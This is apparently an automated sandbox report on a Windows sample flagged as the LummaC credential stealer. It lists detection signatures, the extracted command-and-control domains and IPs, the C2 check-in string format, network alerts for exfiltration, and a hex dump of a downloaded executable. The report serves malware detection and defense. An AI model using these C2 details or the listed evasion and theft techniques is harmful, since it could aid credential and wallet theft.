Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1567628
MD5:	15c208e661e876be436f23a5ad2514f6
SHA1:	2cd91d82d3859671404a7107295085753dda5c30
SHA256:	e5bef128d5c8332b25b485409dfa7eac3d06c3c9a45cb0a3decc7592e6fabdb9
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7292 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 15C208E661E876BE436F23A5AD2514F6)

chrome.exe (PID: 5092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1884,i,14134926898300580287,14773111574658681454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,15999710773060116584,16859833196687087403,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["dare-curbys.biz", "se-blurry.biz", "covery-mover.biz", "atten-supporse.biz", "print-vexer.biz", "impend-differ.biz", "zinc-sneark.biz", "dwell-exclaim.biz", "formy-spill.biz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 7292	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7292	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7292	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T17:41:01.079487+0100	2028371	3	Unknown Traffic	192.168.2.7	49699	104.21.16.9	443	TCP
2024-12-03T17:41:05.140768+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	104.21.16.9	443	TCP
2024-12-03T17:41:09.291376+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	104.21.16.9	443	TCP
2024-12-03T17:41:14.061622+0100	2028371	3	Unknown Traffic	192.168.2.7	49708	104.21.16.9	443	TCP
2024-12-03T17:41:18.214883+0100	2028371	3	Unknown Traffic	192.168.2.7	49722	104.21.16.9	443	TCP
2024-12-03T17:41:22.618886+0100	2028371	3	Unknown Traffic	192.168.2.7	49735	104.21.16.9	443	TCP
2024-12-03T17:41:26.810997+0100	2028371	3	Unknown Traffic	192.168.2.7	49745	104.21.16.9	443	TCP
2024-12-03T17:41:33.251593+0100	2028371	3	Unknown Traffic	192.168.2.7	49759	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T17:41:03.736022+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49699	104.21.16.9	443	TCP
2024-12-03T17:41:07.673795+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	104.21.16.9	443	TCP
2024-12-03T17:41:34.107699+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49759	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T17:41:03.736022+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49699	104.21.16.9	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T17:41:07.673795+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49700	104.21.16.9	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T17:41:01.079487+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49699	104.21.16.9	443	TCP
2024-12-03T17:41:05.140768+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	104.21.16.9	443	TCP
2024-12-03T17:41:09.291376+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49702	104.21.16.9	443	TCP
2024-12-03T17:41:14.061622+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49708	104.21.16.9	443	TCP
2024-12-03T17:41:18.214883+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49722	104.21.16.9	443	TCP
2024-12-03T17:41:22.618886+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49735	104.21.16.9	443	TCP
2024-12-03T17:41:26.810997+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49745	104.21.16.9	443	TCP
2024-12-03T17:41:33.251593+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.7	49759	104.21.16.9	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T17:41:35.625444+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49764	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T17:40:59.480361+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.7	54230	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T17:41:12.102935+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49702	104.21.16.9	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/=&0	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/api;.EX	Avira URL Cloud: Label: malware

Found malware configuration

Source: file.exe.7292.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["dare-curbys.biz", "se-blurry.biz", "covery-mover.biz", "atten-supporse.biz", "print-vexer.biz", "impend-differ.biz", "zinc-sneark.biz", "dwell-exclaim.biz", "formy-spill.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: print-vexer.biz
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dare-curbys.biz
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: covery-mover.biz
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: formy-spill.biz
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: zinc-sneark.biz
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: se-blurry.biz
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: atten-supporse.biz
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1732416076.0000000000321000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49967 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.1675065921.0000000007F70000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1741523989.0000000005E52000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49702 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49745 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49708 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49699 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49700 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49735 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49722 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49759 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.7:54230 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49700 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49699 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49699 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49702 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49759 -> 104.21.16.9:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: formy-spill.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 03 Dec 2024 16:41:35 GMTContent-Type: application/octet-streamContent-Length: 2819584Last-Modified: Tue, 03 Dec 2024 15:39:26 GMTConnection: keep-aliveETag: "674f262e-2b0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 cf 08 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 68 6f 6d 63 6c 66 77 00 c0 2a 00 00 a0 00 00 00 a4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 69 6f 67 6d 78 75 68 00 20 00 00 00 60 2b 00 00 06 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.43 13.107.246.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49745 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49708 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49735 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49699 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49722 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49759 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49764 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
